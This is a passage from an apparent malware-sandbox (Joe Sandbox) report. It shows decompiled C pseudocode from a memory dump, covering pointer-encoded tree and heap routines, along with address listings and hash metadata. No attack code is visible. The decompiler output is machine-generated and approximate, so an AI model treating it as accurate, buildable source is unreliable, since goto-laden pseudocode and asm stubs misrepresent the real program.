																																		if(_t444 != 0) {
																																			if(_t452 != 0) {
																																				_t452 = _t452 ^ _t343;
																																			}
																																		}
																																		if(_t452 != _t426) {
																																			goto L174;
																																		} else {
																																			if(_t444 != 0) {
																																				_t474 = _t343 ^ _t423;
																																			} else {
																																				_t474 = _t423;
																																			}
																																			 *(_t343 + 8) = _t410 & 0x00000003 | _t474;
																																			_t409 = _v16;
																																			goto L96;
																																		}
																																	}
																																	L96:
																																	if(_t444 != 0) {
																																		if(_t343 != 0) {
																																			_t343 = _t343 ^ _t423;
																																		}
																																	}
																																	 *(_t423 + _v12 * 4) = _t343;
																																	if(_t444 != 0) {
																																		_t345 = _t426 ^ _t423;
																																		_t470 = _t345;
																																	} else {
																																		_t345 = _t423;
																																		_t470 = _t426 ^ _t345;
																																	}
																																	 *(_t426 + _t409 * 4) = _t345;
																																	if(_t444 == 0) {
																																		_t470 = _t426;
																																	}
																																	_t306 =  *(_t423 + 8) & 0x00000003 | _t470;
																																	 *(_t423 + 8) = _t306;
																																	goto L24;
																																}
																															}
																														}
																														_t452 = _t452 ^ _t423;
																													}
																													if(_t452 == 0) {
																														goto L160;
																													}
																													_t348 =  *(_t452 + 4);
																													if(_t444 != 0) {
																														if(_t348 != 0) {
																															_t348 = _t348 ^ _t452;
																														}
																													}
																													if(_t348 == _t423) {
																														if(_t444 != 0) {
																															_t350 = _t452 ^ _t426;
																														} else {
																															_t350 = _t426;
																														}
																														 *(_t452 + 4) = _t350;
																														goto L93;
																													} else {
																														_t351 =  *_t452;
																														if(_t444 != 0) {
																															if(_t351 != 0) {
																																_t351 = _t351 ^ _t452;
																															}
																														}
																														if(_t351 != _t423) {
																															goto L174;
																														} else {
																															if(_t444 != 0) {
																																_t353 = _t452 ^ _t426;
																															} else {
																																_t353 = _t426;
																															}
																															 *_t452 = _t353;
																															goto L93;
																														}
																													}
																												}
																											}
																										}
																										_t328 = _t328 ^ _t444;
																									}
																									if(_t328 != 0) {
																										_t475 =  *(_t328 + 8);
																										_v20 = _t475;
																										_t452 = _t475 & 0xfffffffc;
																										if(_t407 != 0) {
																											if(_t452 != 0) {
																												_t452 = _t452 ^ _t328;
																											}
																										}
																										if(_t452 != _t444) {
																											goto L174;
																										} else {
																											if(_t407 != 0) {
																												_t477 = _t328 ^ _t426;
																											} else {
																												_t477 = _t426;
																											}
																											_v20 = _v20 & 0x00000003;
																											_v20 = _v20 | _t477;
																											 *(_t328 + 8) = _v20;
																											goto L74;
																										}
																									}
																									goto L74;
																								}
																							}
																							_t464 = _t423;
																							goto L72;
																						}
																					}
																				}
																			}
																		}
																		_t452 = _t461 ^ _t426;
																	}
																	if(_t452 == 0 || ( *(_t452 + 8) & 0x00000001) == 0) {
																		goto L59;
																	} else {
																		goto L80;
																	}
																}
															}
															L21:
															_t457 =  *(_t426 + 4);
															if(_t457 != 0) {
																if(_t307 != 0) {
																	_t457 = _t457 ^ _t426;
																}
																if(( *(_t457 + 8) & 0x00000001) == 0) {
																	goto L22;
																} else {
																	goto L56;
																}
															}
															L22:
															_t308 =  *(_t423 + 8);
															if((_t308 & 0x00000001) == 0) {
																 *(_t426 + 8) =  *(_t426 + 8) | 0x00000001;
																_t306 =  *(_t395 + 4);
																_t431 =  *(_t423 + 8) & 0xfffffffc;
																_t397 = _t306 & 0x00000001;
																if(_t397 != 0) {
																	if(_t431 == 0) {
																		goto L110;
																	}
																	_t423 = _t423 ^ _t431;
																	L111:
																	if(_t423 == 0) {
																		goto L24;
																	}
																	_t432 =  *(_t423 + 4);
																	if(_t397 != 0) {
																		if(_t432 != 0) {
																			_t432 = _t432 ^ _t423;
																		}
																	}
																	_v16 = 0 | _t432 == _t446;
																	_t395 = _a4;
																	goto L17;
																}
																L110:
																_t423 = _t431;
																goto L111;
															} else {
																_t306 = _t308 & 0x000000fe;
																 *(_t423 + 8) = _t306;
																 *(_t426 + 8) =  *(_t426 + 8) | 0x00000001;
																goto L24;
															}
														}
														L18:
														_t426 = _t452;
														goto L19;
													}
												}
												L13:
												_t306 = _t426;
												goto L14;
											}
										}
									}
									L41:
									_t366 = _v12;
									_v20 = _t452;
									goto L42;
								}
								L37:
								_t483 = _v24;
								goto L38;
							}
						}
					}
					L28:
					_t428 = _t452;
					goto L29;
				}
				_t385 = _v5;
				_t422 =  *(_t444 + 8) & 0xfffffffc;
				if(_t385 != 0) {
					if(_t422 != 0) {
						_t422 = _t422 ^ _t444;
					}
				}
				_v12 = _t444;
				if(_t422 == 0) {
					if(_t426 != 0) {
						 *(_t426 + 8) =  *(_t426 + 8) & 0x00000000;
					}
					_t425 = _a4;
					if( *_t425 != _t444) {
						goto L174;
					} else {
						_t425[4] = _t426;
						_t306 = _t425[4] & 0x00000001;
						if(_t306 != 0) {
							_t425[4] = _t425[4] | 0x00000001;
						}
						 *_t425 = _t426;
						goto L24;
					}
				} else {
					_t452 =  *(_t422 + 4);
					if(_t385 != 0) {
						if(_t452 != 0) {
							_t452 = _t452 ^ _t422;
						}
					}
					if(_t452 == _t444) {
						_v16 = 1;
						L11:
						_t373 =  *(_t444 + 8);
						goto L12;
					} else {
						_t387 =  *_t422;
						if(_v5 != 0) {
							if(_t387 != 0) {
								_t387 = _t387 ^ _t422;
							}
						}
						if(_t387 != _t444) {
							goto L174;
						} else {
							_t488 = _a4;
							_v16 = _v16 & 0x00000000;
							_t388 =  *(_t488 + 4);
							_v24 = _t388;
							if((_t388 & 0xfffffffe) == _t444) {
								if(_t426 != 0) {
									 *(_t488 + 4) = _t426;
									if((_v24 & 0x00000001) != 0) {
										_t390 = _t426;
										L228:
										 *(_t488 + 4) = _t390 | 0x00000001;
									}
									goto L11;
								}
								 *(_t488 + 4) = _t422;
								if((_v24 & 0x00000001) == 0) {
									goto L11;
								} else {
									_t390 = _t422;
									goto L228;
								}
							}
							goto L11;
						}
					}
				}
			}

0x00daf90b
0x00daf911
0x00daf917
0x00daf919
0x00daf91c
0x00e05d63
0x00e05d69
0x00e05d69
0x00e05d63
0x00daf922
0x00daf927
0x00e05d72
0x00e05d78
0x00e05d78
0x00e05d72
0x00daf92d
0x00daf931
0x00dafa2d
0x00dafa2d
0x00daf939
0x00daf940
0x00daf944
0x00dafa37
0x00dafa39
0x00dafa3c
0x00dafa3e
0x00dafa41
0x00dafa48
0x00dafe68
0x00dafe6c
0x00dafe6c
0x00dafe78
0x00dafe78
0x00dafe7a
0x00dafe7a
0x00dafe7e
0x00dafe6e
0x00dafe6e
0x00dafe72
0x00000000
0x00000000
0x00000000
0x00dafe80
0x00dafe80
0x00dafe83
0x00000000
0x00dafe83
0x00e05d7f
0x00e05d81
0x00000000
0x00000000
0x00e05d87
0x00000000
0x00e05d87
0x00dafa4e
0x00dafa50
0x00e05d90
0x00000000
0x00000000
0x00e05d98
0x00dafa58
0x00dafa58
0x00dafa5d
0x00dafa60
0x00dafa63
0x00dafa69
0x00dafa6b
0x00dafa6e
0x00dafa71
0x00e05da1
0x00e05da7
0x00e05da7
0x00e05da1
0x00dafa79
0x00db0071
0x00db0073
0x00db0074
0x00000000
0x00dafa7f
0x00dafa83
0x00dafa85
0x00e05dae
0x00e05dae
0x00dafa8b
0x00dafa8f
0x00dafa98
0x00dafaa1
0x00dafaa4
0x00dafaa6
0x00dafaa9
0x00dafaac
0x00e05db7
0x00e05dbd
0x00e05dbd
0x00e05db7
0x00dafab4
0x00000000
0x00dafaba
0x00dafabc
0x00dafac2
0x00dafac5
0x00dafac7
0x00dafac7
0x00dafad6
0x00dafad9
0x00dafadf
0x00dafae2
0x00dafae4
0x00dafae7
0x00dafaea
0x00dafaed
0x00e05dc4
0x00e05dc9
0x00000000
0x00000000
0x00e05dcf
0x00dafaf6
0x00dafafa
0x00dafafc
0x00dafafc
0x00dafafe
0x00dafb01
0x00dafb09
0x00dafb0c
0x00dafb12
0x00dafb14
0x00dafb17
0x00e05dd6
0x00e05dd9
0x00e05dde
0x00000000
0x00000000
0x00e05de4
0x00e05de7
0x00dafb29
0x00dafb2c
0x00e05df3
0x00e05df6
0x00e05e06
0x00e05e0c
0x00e05e0f
0x00e05e11
0x00000000
0x00e05e1f
0x00000000
0x00e05e1f
0x00e05e11
0x00e05df8
0x00e05dfb
0x00e05e00
0x00000000
0x00000000
0x00e05e02
0x00000000
0x00e05e02
0x00dafb32
0x00dafb35
0x00dafb3c
0x00e05e26
0x00e05e28
0x00e05e28
0x00e05e2e
0x00e05e3c
0x00e05e3c
0x00e05e2e
0x00dafb45
0x00dafb47
0x00dafb53
0x00dafb56
0x00dafb59
0x00dafb5c
0x00dafb65
0x00db000d
0x00000000
0x00db000f
0x00db000f
0x00000000
0x00db000f
0x00dafb6b
0x00dafb6e
0x00dafb71
0x00dafb73
0x00dafb76
0x00e05e45
0x00e05e4b
0x00e05e4b
0x00e05e45
0x00dafb80
0x00dafb83
0x00e05e54
0x00e05e5a
0x00e05e5a
0x00e05e54
0x00dafb89
0x00dafb98
0x00dafb9b
0x00dafb9e
0x00dafba0
0x00e05e63
0x00e05e69
0x00e05e69
0x00e05e63
0x00dafba8
0x00000000
0x00dafbae
0x00dafbb2
0x00e05e70
0x00dafbb8
0x00dafbb8
0x00dafbb8
0x00dafbbd
0x00dafbbf
0x00dafbbf
0x00daf9a8
0x00daf9a8
0x00daf9ad
0x00daf9b4
0x00e05eda
0x00000000
0x00000000
0x00e05ee2
0x00daf9bc
0x00daf9bc
0x00daf9bf
0x00daf9c4
0x00dafde6
0x00dafde9
0x00dafdec
0x00dafdef
0x00dafdf2
0x00e05eeb
0x00e05ef1
0x00e05ef1
0x00e05eeb
0x00dafdfa
0x00000000
0x00dafe00
0x00dafe04
0x00e05efa
0x00e05f00
0x00e05f00
0x00e05efa
0x00dafe0a
0x00dafa24
0x00dafa2a
0x00dafa2a
0x00dafdfa
0x00daf9cd
0x00000000
0x00daf9cf
0x00daf9cf
0x00daf9d1
0x00daf9d4
0x00daf9d7
0x00daf9d9
0x00daf9dc
0x00daf9df
0x00daf9e2
0x00daf9e7
0x00e05f09
0x00000000
0x00000000
0x00e05f11
0x00daf9ef
0x00daf9f3
0x00dafed5
0x00dafed8
0x00dafedb
0x00e05f1a
0x00e05f20
0x00e05f20
0x00e05f1a
0x00dafee3
0x00000000
0x00dafee9
0x00dafeeb
0x00e05f29
0x00e05f2f
0x00e05f2f
0x00e05f29
0x00dafef3
0x00000000
0x00dafef9
0x00dafefc
0x00daff01
0x00e05f38
0x00db0052
0x00db0054
0x00000000
0x00db0056
0x00db0056
0x00daff40
0x00daff42
0x00e05f6e
0x00e05f74
0x00e05f74
0x00e05f6e
0x00daff50
0x00daff56
0x00daff5b
0x00e05f7d
0x00000000
0x00000000
0x00e05f83
0x00000000
0x00daff61
0x00daff61
0x00daff63
0x00db0021
0x00db0026
0x00db002b
0x00db007e
0x00db0080
0x00db0080
0x00db007e
0x00db002f
0x00000000
0x00db0031
0x00db0033
0x00db0086
0x00db0035
0x00db0035
0x00db0035
0x00db003c
0x00000000
0x00db003c
0x00db002f
0x00daff69
0x00daff6b
0x00e05f8c
0x00e05f92
0x00e05f92
0x00e05f8c
0x00daff74
0x00daff77
0x00daff7b
0x00e05f99
0x00e05f9b
0x00daff81
0x00daff81
0x00daff83
0x00daff83
0x00daff88
0x00daff8b
0x00daff90
0x00daff92
0x00daff92
0x00daff9c
0x00daffa2
0x00daffa6
0x00daffaa
0x00daffad
0x00daffb2
0x00e05fa4
0x00e05faa
0x00e05faa
0x00e05fa4
0x00daffb8
0x00000000
0x00daffb8
0x00daff5b
0x00db0054
0x00e05f3e
0x00e05f3e
0x00daff09
0x00000000
0x00000000
0x00daff0f
0x00daff14
0x00e05f47
0x00e05f4d
0x00e05f4d
0x00e05f47
0x00daff1c
0x00db0046
0x00db0076
0x00db0078
0x00000000
0x00db0048
0x00db0048
0x00db004a
0x00db004a
0x00000000
0x00db004a
0x00daff22
0x00daff22
0x00daff26
0x00e05f56
0x00e05f5c
0x00e05f5c
0x00e05f56
0x00daff2e
0x00000000
0x00daff34
0x00daff36
0x00e05f65
0x00daff3c
0x00daff3c
0x00daff3c
0x00daff3e
0x00000000
0x00daff3e
0x00daff2e
0x00daff1c
0x00dafef3
0x00dafee3
0x00daf9f9
0x00daf9f9
0x00daf9fb
0x00daf9ff
0x00dafbd5
0x00e05fb1
0x00e05fb1
0x00dafbdf
0x00000000
0x00dafbe5
0x00dafbe5
0x00dafbe8
0x00dafbed
0x00e05fdf
0x00dafc01
0x00dafc01
0x00dafc04
0x00dafc09
0x00e05fee
0x00e05ff4
0x00e05ff4
0x00e05fee
0x00dafc0f
0x00dafc13
0x00dafc1d
0x00dafc20
0x00dafc23
0x00dafc26
0x00dafc2b
0x00e05ffd
0x00e06003
0x00e06003
0x00e05ffd
0x00dafc33
0x00000000
0x00dafc39
0x00dafc3b
0x00dafc3e
0x00dafc41
0x00dafc46
0x00e0600c
0x00e06012
0x00e06012
0x00e0600c
0x00dafc4e
0x00000000
0x00dafc54
0x00dafc54
0x00dafc59
0x00e0601b
0x00e06021
0x00e06021
0x00e0601b
0x00dafc61
0x00000000
0x00dafc67
0x00dafc6a
0x00dafc6f
0x00e0602a
0x00e06030
0x00e06030
0x00e0602a
0x00dafc77
0x00000000
0x00dafc7d
0x00dafc7f
0x00dafc81
0x00dafc85
0x00dafc87
0x00dafc87
0x00dafc8c
0x00dafc8f
0x00dafc94
0x00e06039
0x00dafc9c
0x00dafca4
0x00dafcaa
0x00dafcaf
0x00e06046
0x00dafcbd
0x00dafcbf
0x00e0606d
0x00e06073
0x00e06073
0x00e0606d
0x00dafcc8
0x00dafccd
0x00dafccf
0x00dafcd3
0x00dafcd5
0x00dafcd5
0x00dafcde
0x00dafce1
0x00dafce3
0x00dafce3
0x00dafce8
0x00dafcf0
0x00dafcf2
0x00dafcf5
0x00dafcf7
0x00dafcff
0x00dafd02
0x00dafd06
0x00dafd11
0x00dafd14
0x00dafd17
0x00e0607c
0x00e06082
0x00e06082
0x00e0607c
0x00dafd1f
0x00000000
0x00dafd25
0x00dafd28
0x00dafd2d
0x00e0608b
0x00e06091
0x00e06091
0x00e0608b
0x00dafd35
0x00000000
0x00dafd3b
0x00dafd3e
0x00dafd43
0x00e0609a
0x00db0016
0x00db0018
0x00000000
0x00db001a
0x00db001a
0x00dafd82
0x00dafd84
0x00e060d9
0x00e060df
0x00e060df
0x00e060d9
0x00dafd8d
0x00dafd95
0x00dafd98
0x00dafd9d
0x00e060e8
0x00000000
0x00000000
0x00e060ee
0x00000000
0x00dafda3
0x00dafda3
0x00dafda5
0x00dafe8b
0x00dafe90
0x00dafe95
0x00e060f7
0x00e060fd
0x00e060fd
0x00e060f7
0x00dafe9d
0x00000000
0x00dafea3
0x00dafea5
0x00e06106
0x00dafeab
0x00dafeab
0x00dafeab
0x00dafeb2
0x00dafeb5
0x00000000
0x00dafeb5
0x00dafe9d
0x00dafdab
0x00dafdad
0x00e0610f
0x00e06115
0x00e06115
0x00e0610f
0x00dafdb6
0x00dafdbb
0x00e0611e
0x00e06120
0x00dafdc1
0x00dafdc1
0x00dafdc5
0x00dafdc5
0x00dafdc7
0x00dafdcc
0x00dafdce
0x00dafdce
0x00dafdd6
0x00dafdd8
0x00000000
0x00dafdd8
0x00dafd9d
0x00db0018
0x00e060a0
0x00e060a0
0x00dafd4b
0x00000000
0x00000000
0x00dafd51
0x00dafd56
0x00e060a9
0x00e060af
0x00e060af
0x00e060a9
0x00dafd5e
0x00dafebf
0x00e060b8
0x00dafec5
0x00dafec5
0x00dafec5
0x00dafec7
0x00000000
0x00dafd64
0x00dafd64
0x00dafd68
0x00e060c1
0x00e060c7
0x00e060c7
0x00e060c1
0x00dafd70
0x00000000
0x00dafd76
0x00dafd78
0x00e060d0
0x00dafd7e
0x00dafd7e
0x00dafd7e
0x00dafd80
0x00000000
0x00dafd80
0x00dafd70
0x00dafd5e
0x00dafd35
0x00dafd1f
0x00e0604c
0x00e0604c
0x00dafcb7
0x00daffc0
0x00daffc3
0x00daffc6
0x00daffcb
0x00e06055
0x00e0605b
0x00e0605b
0x00e06055
0x00daffd3
0x00000000
0x00daffd9
0x00daffdb
0x00e06064
0x00daffe1
0x00daffe1
0x00daffe1
0x00daffe3
0x00daffe7
0x00daffed
0x00000000
0x00daffed
0x00daffd3
0x00000000
0x00dafcb7
0x00e0603f
0x00dafc9a
0x00000000
0x00dafc9a
0x00dafc77
0x00dafc61
0x00dafc4e
0x00dafc33
0x00e05fe5
0x00e05fe5
0x00dafbf5
0x00000000
0x00000000
0x00000000
0x00000000
0x00dafbf5
0x00dafbdf
0x00dafa05
0x00dafa05
0x00dafa0a
0x00dafe14
0x00e05fb8
0x00e05fb8
0x00dafe1e
0x00000000
0x00dafe24
0x00000000
0x00dafe24
0x00dafe1e
0x00dafa10
0x00dafa10
0x00dafa15
0x00dafe29
0x00dafe2d
0x00dafe35
0x00dafe38
0x00dafe3b
0x00e05fc1
0x00000000
0x00000000
0x00e05fc7
0x00dafe43
0x00dafe45
0x00000000
0x00000000
0x00dafe4b
0x00dafe50
0x00e05fd0
0x00e05fd6
0x00e05fd6
0x00e05fd0
0x00dafe5d
0x00dafe60
0x00000000
0x00dafe60
0x00dafe41
0x00dafe41
0x00000000
0x00dafa1b
0x00dafa1b
0x00dafa1d
0x00dafa20
0x00000000
0x00dafa20
0x00dafa15
0x00daf9ed
0x00daf9ed
0x00000000
0x00daf9ed
0x00daf9cd
0x00daf9ba
0x00daf9ba
0x00000000
0x00daf9ba
0x00dafba8
0x00dafb65
0x00dafb1d
0x00dafb23
0x00dafb26
0x00000000
0x00dafb26
0x00dafaf3
0x00dafaf3
0x00000000
0x00dafaf3
0x00dafab4
0x00dafa79
0x00dafa56
0x00dafa56
0x00000000
0x00dafa56
0x00daf94d
0x00daf950
0x00daf955
0x00e05e79
0x00e05e7f
0x00e05e7f
0x00e05e79
0x00daf95b
0x00daf960
0x00e05e88
0x00e05e8a
0x00e05e8a
0x00e05e8e
0x00e05e93
0x00000000
0x00e05e99
0x00e05e9c
0x00e05e9f
0x00e05ea1
0x00e05ea3
0x00e05ea3
0x00e05ea7
0x00000000
0x00e05ea7
0x00daf966
0x00daf966
0x00daf96b
0x00e05eb0
0x00e05eb6
0x00e05eb6
0x00e05eb0
0x00daf973
0x00dafbc7
0x00daf9a5
0x00daf9a5
0x00000000
0x00daf979
0x00daf97d
0x00daf97f
0x00e05ebf
0x00e05ec5
0x00e05ec5
0x00e05ebf
0x00daf987
0x00000000
0x00daf98d
0x00daf98d
0x00daf990
0x00daf994
0x00daf997
0x00daf99f
0x00dafff7
0x00db0061
0x00db0064
0x00db006a
0x00e05ece
0x00e05ed0
0x00e05ed0
0x00000000
0x00db0064
0x00dafffd
0x00db0000
0x00000000
0x00db0006
0x00e05ecc
0x00000000
0x00e05ecc
0x00db0000
0x00000000
0x00daf99f
0x00daf987
0x00daf973

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc66cec98a30fadb5342584c4926ef08b8d30d1ee31ce6150576712f1cb138a4
Instruction ID: 184e57ffd8c936263497bbe015a9b950197f16cc5991b21f7763b3d51cdba5a3
Opcode Fuzzy Hash: fc66cec98a30fadb5342584c4926ef08b8d30d1ee31ce6150576712f1cb138a4
Instruction Fuzzy Hash: 6562D532A046569BCF32CF94C4403ABBBB1AF56314F2D85F9CC95AB291D371DD819BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E75BA5 Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00E75BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0xe81178);
				E00DFD0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E00E74C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E00DED000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							L00E75542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0xe960e8;
								if( *0xe960e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0xe960e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E00DE9710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E00DE6DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E00DEF3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
